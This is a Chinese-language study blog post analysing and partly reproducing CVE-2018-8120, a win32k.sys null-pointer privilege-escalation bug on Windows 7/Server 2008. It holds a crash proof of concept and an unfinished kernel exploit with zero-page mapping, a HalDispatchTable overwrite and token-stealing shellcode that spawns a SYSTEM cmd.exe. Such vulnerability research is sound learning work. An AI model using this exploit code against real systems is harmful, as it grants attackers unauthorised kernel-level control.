CVE-2018-8120 漏洞分析復現-Day1

0x00:前言

對於HEVD靶場的調試告一段落,接下來嘗試對一些真實的漏洞進行分析復現。參考:

0x02:背景

1. 漏洞描述

部分版本Windows系統win32k.sys組件的NtUserSetImeInfoEx()系統服務函數內部未驗證內核對象中的空指針對象,普通應用程序可利用該空指針漏洞以內核權限執行任意代碼。

2. 受影響的版本

以下軟件版本受到影響。未列出的版本要麼超過其支持生命週期,要麼不受影響。要確定軟件版本或版本的支持生命週期,請查閱Microsoft支持生命週期。

Windows 7 for 32-bit Systems Service Pack 1  

Windows 7 for x64-based Systems Service Pack 1      

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2008 for Itanium-Based Systems ServicePack 2

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 R2 for Itanium-Based Systems ServicePack 1

Windows Server 2008 R2 for x64-based Systems ServicePack 1

Windows Server 2008 R2 for x64-based Systems ServicePack 1

3. 漏洞編號

CVE-2018-8120

0x03:漏洞分析

首先在WinDBG中找到win32k.pdb。

kd> .reload /f win32k.sys
kd> lm
start    end        module name
83e09000 8421b000   nt         (pdb symbols)          c:\downstreamstore\ntkrpamp.pdb\684DA42A30CC450F81C535B4D18944B12\ntkrpamp.pdb
92190000 923dc000   win32k     (pdb symbols)          c:\downstreamstore\win32k.pdb\A03753B3B9274F8E848233154705E5C02\win32k.pdb

然後在IDA中將該PDB作爲PDB導入。接着便可以在IDA中查看到函數名了。

在這裏插入圖片描述

接着在WinDbg中對該函數下斷點,便於後續觀察。

kd> bp win32k!SetImeInfoEx
WARNING: Software breakpoints on session addresses can cause bugchecks.
Use hardware execution breakpoints (ba e) if possible.
kd> bl
     0 e Disable Clear  8e2e2239     0001 (0001) 
     1 e Disable Clear  921a0065     0001 (0001) win32k!SetImeInfoEx

可以看到,漏洞所在函數SetImeInfoEx()接收2個參數,漏洞的產生和參數1的結構體指針有關,下面跟蹤一下參數1的來源。win32k!NtUserSetImeInfoEx() 系統服務函數調用了SetImeInfoEx()

在這裏插入圖片描述

_GetProcessWindowStation()返回當前進程的WindowStation內核對象, 當做參數1調用SetImeInfoEx()。以下是WindowStation內核對象的內存結構

kd> dt win32k!tagWINDOWSTATION
   +0x000 dwSessionId      : Uint4B
   +0x004 rpwinstaNext     : Ptr32 tagWINDOWSTATION
   +0x008 rpdeskList       : Ptr32 tagDESKTOP
   +0x00c pTerm            : Ptr32 tagTERMINAL
   +0x010 dwWSF_Flags      : Uint4B
   +0x014 spklList         : Ptr32 tagKL
   +0x018 ptiClipLock      : Ptr32 tagTHREADINFO
   +0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
   +0x020 spwndClipOpen    : Ptr32 tagWND
   +0x024 spwndClipViewer  : Ptr32 tagWND
   +0x028 spwndClipOwner   : Ptr32 tagWND
   +0x02c pClipBase        : Ptr32 tagCLIP
   +0x030 cNumClipFormats  : Uint4B
   +0x034 iClipSerialNumber : Uint4B
   +0x038 iClipSequenceNumber : Uint4B
   +0x03c spwndClipboardListener : Ptr32 tagWND
   +0x040 pGlobalAtomTable : Ptr32 Void
   +0x044 luidEndSession   : _LUID
   +0x04c luidUser         : _LUID
   +0x054 psidUser         : Ptr32 Void

程序可以通過系統提供的接口CreateWindowStation()和SetProcessWindowStation(),新建一個新的WindowStation對象並和當前進程關聯起來,值得注意的是,使用CreateWindowStation() 新建的WindowStation對象其偏移0×14位置的spklList字段的值默認是零。

根據SetImeInfoEx()函數的流程,當WindowStation->spklList字段爲0,函數繼續執行將觸發0地址訪問異常。

接下來編程測試該漏洞是否能夠觸發藍屏。

#include<Windows.h>
#include<stdio.h>
//NtUserSetImeInfoEx()系統服務函數未導出,需要自己在用戶進程中調用該系統服務函數,以執行漏洞函數SetImeInfoEx()。
//其中SyscallIndex的計算,根據系統ShadowSSDT表導出序號計算。
DWORD gSyscall = 0x1226;
__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
{
    _asm
    {

        mov esi, tmp;
        mov eax, gSyscall; //系統調用符號
        mov edx, 0x7FFE0300; // ntdll.KiFastSystemCall快速系統調用
        call dword ptr[edx];
        ret 4;
    }
}

int main()
{
    // 新建一個新的窗口,新建的WindowStation對象其偏移0x14位置的spklList字段的值默認是零
    HWINSTA hSta = CreateWindowStation(
        0,              //LPCSTR                lpwinsta
        0,              //DWORD                 dwFlags
        READ_CONTROL,   //ACCESS_MASK           dwDesiredAccess
        0               //LPSECURITY_ATTRIBUTES lpsa
    );

    // 和窗口當前進程關聯起來
    SetProcessWindowStation(hSta);

    char buf[0x4];
    memset(buf, 0x41, sizeof(buf));

    // WindowStation->spklList字段爲0,函數繼續執行將觸發0地址訪問異常
    NtUserSetImeInfoEx((PVOID)&buf);

    return 0;
}

可以看到這裏eax爲0,出現異常

kd> r
eax=00000000 ebx=9219ffd8 ecx=00000000 edx=41414141 esi=950d7ab0 edi=950d7c0c
eip=921a007c esp=950d7a8c ebp=950d7a90 iopl=0         nv up ei ng nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010286
win32k!SetImeInfoEx+0x17:
921a007c 395014          cmp     dword ptr [eax+14h],edx ds:0023:00000014=????????

0x04:漏洞利用

由於SetImeInfoEx()沒有正確的處理內存中的空指針對象, 普通應用程序可利用該漏洞以系統權限執行任意代碼,下面將詳細介紹如何在該漏洞現場實現任意代碼執行。

已知漏洞產生的原因是零地址內存訪問違例,如果在漏洞函數運行的進程中,零地址處的內存分頁完成映射,則函數將繼續執行。下面繼續看看函數如果繼續運行,會發生什麼情況。

在這裏插入圖片描述

參數2是我們輸入的緩衝區,而v4又是0地址偏移0x2C處的值。利用此處我們可以完成任意地址寫任意數據,,則可以通過覆蓋系統服務函數指針的方式, 實現任意代碼執行

因此我們當前的目標爲:

  • 申請0頁內存

  • 讓0頁內存地址偏移0x14處不爲空

  • 讓0頁內存地址0x1C處爲某系統服務函數指針

  • 調用函數時輸入的值爲我們的shellcode地址

但是,直到進行到這裏時

win32k!SetImeInfoEx+0x31:
921a0096 83784800        cmp     dword ptr [eax+48h],0
kd> r
eax=83f343fc ebx=9219ffd8 ecx=00000000 edx=00fa13de esi=8bc3bab0 edi=8bc3bc0c
eip=921a0096 esp=8bc3ba8c ebp=8bc3ba90 iopl=0         nv up ei ng nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000286
win32k!SetImeInfoEx+0x31:
921a0096 83784800        cmp     dword ptr [eax+48h],0 ds:0023:83f34444=842430f6

在這裏插入圖片描述

v4被修改爲目標覆蓋內核函數指針,但是接下來缺又驗證了v4+18*4除爲0即進行覆蓋寫,在使用HalDispatchTable+0x4作爲v4時,明顯不可行。因此該方法不好用。

在最後,是利用BitMap來完成任意地址寫的。明天來學習這個技術順便再完成該EXP。附上今天沒有完成,但嘗試的代碼。

#include<Windows.h>
#include<stdio.h>
#include<Psapi.h>
#include<profileapi.h>

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(
    IN ULONG ProfileSource,
    OUT PULONG Interval
    );

typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;


//申請0頁內存
void getZeroMemory(){
 PVOID    Zero_addr = (PVOID)1;
SIZE_T    RegionSize = 0x1000;

*(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
    GetModuleHandleW(L"ntdll"),
    "NtAllocateVirtualMemory");

if (NtAllocateVirtualMemory == NULL)
{
    printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
    system("pause");
}
printf("[+]Started to alloc zero page...\n");
if (!NT_SUCCESS(NtAllocateVirtualMemory(
    INVALID_HANDLE_VALUE,
    &Zero_addr,
    0,
    &RegionSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE)) || Zero_addr != NULL)
{
    printf("[+]Failed to alloc zero page!\n");
    system("pause");
}
printf("[+]Success to alloc zero page...\n");
}
__declspec(naked) VOID ShellCode()
{
    _asm
    {
        nop
        pushad
        mov eax, fs: [124h]		// 找到當前線程的_KTHREAD結構
        mov eax, [eax + 0x50]   // 找到_EPROCESS結構
        mov ecx, eax
        mov edx, 4				// edx = system PID(4)

        // 循環是爲了獲取system的_EPROCESS
        find_sys_pid :
        mov eax, [eax + 0xb8]	// 找到進程活動鏈表
        sub eax, 0xb8    		// 鏈表遍歷
        cmp[eax + 0xb4], edx    // 根據PID判斷是否爲SYSTEM
        jnz find_sys_pid

        // 替換Token
        mov edx, [eax + 0xf8]
        mov[ecx + 0xf8], edx
        popad
        ret
    }
}
static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

//獲取ntkrnlpa.exe 在 kernel mode 中的基地址
LPVOID NtkrnlpaBase()
{
    LPVOID lpImageBase[1024];
    DWORD lpcbNeeded;
   CHAR lpfileName[1024];
    //Retrieves the load address for each device driver in the system
    EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);

    for (int i = 0; i < 1024; i++)
    {
        //Retrieves the base name of the specified device driver
        GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);

        if (!strcmp(lpfileName, "ntkrnlpa.exe"))
        {
            printf("[+]success to get %s\n", lpfileName);
            return lpImageBase[i];
        }
    }
    return NULL;
}

DWORD32 GetHalOffset_4()
{
    // ntkrnlpa.exe in kernel space base address
    PVOID pNtkrnlpaBase = NtkrnlpaBase();

    printf("[+]ntkrnlpa base address is 0x%p\n", pNtkrnlpaBase);

    // ntkrnlpa.exe in user space base address
    HMODULE hUserSpaceBase = LoadLibrary(L"ntkrnlpa.exe");

    // HalDispatchTable in user space address
    PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");

    DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;

    printf("[+]HalDispatchTable+0x4 is 0x%p\n", hal_4);

    return (DWORD32)hal_4;
}


//NtUserSetImeInfoEx()系統服務函數未導出,需要自己在用戶進程中調用該系統服務函數,以執行漏洞函數SetImeInfoEx()。
//其中SyscallIndex的計算,根據系統ShadowSSDT表導出序號計算。
DWORD gSyscall = 0x1226;
__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
{
    _asm
    {

        mov esi, tmp;
        mov eax, gSyscall; //系統調用符號
        mov edx, 0x7FFE0300; // ntdll.KiFastSystemCall快速系統調用
        call dword ptr[edx];
        ret 4;
    }
}

int main()
{
    // 新建一個新的窗口,新建的WindowStation對象其偏移0x14位置的spklList字段的值默認是零
    HWINSTA hSta = CreateWindowStation(
        0,              //LPCSTR                lpwinsta
        0,              //DWORD                 dwFlags
        READ_CONTROL,   //ACCESS_MASK           dwDesiredAccess
        0               //LPSECURITY_ATTRIBUTES lpsa
    );

    // 和窗口當前進程關聯起來
    SetProcessWindowStation(hSta);

    char buf[0x4];
    *(PULONG)buf = (ULONG)&ShellCode;
    //獲取0頁內存
    getZeroMemory();

    DWORD  HalAddress = GetHalOffset_4();
    //寫入要覆蓋的函數地址
    *(DWORD*)(0x2C) = (DWORD)(HalAddress);
    *(DWORD*)(0x14) = (DWORD)&ShellCode;
    // WindowStation->spklList字段爲0,函數繼續執行將觸發0地址訪問異常
    NtUserSetImeInfoEx((PVOID)&buf);
    NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");
    printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);
    DWORD interVal = 0;
    NtQueryIntervalProfile(0x1337, &interVal);
    printf("[+]Start to Create cmd...\n");
    CreateCmd();
    return 0;
}

0x05:明日計劃

內核漏洞 bitMap任意地址寫學習,完成該CVE的EXP

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章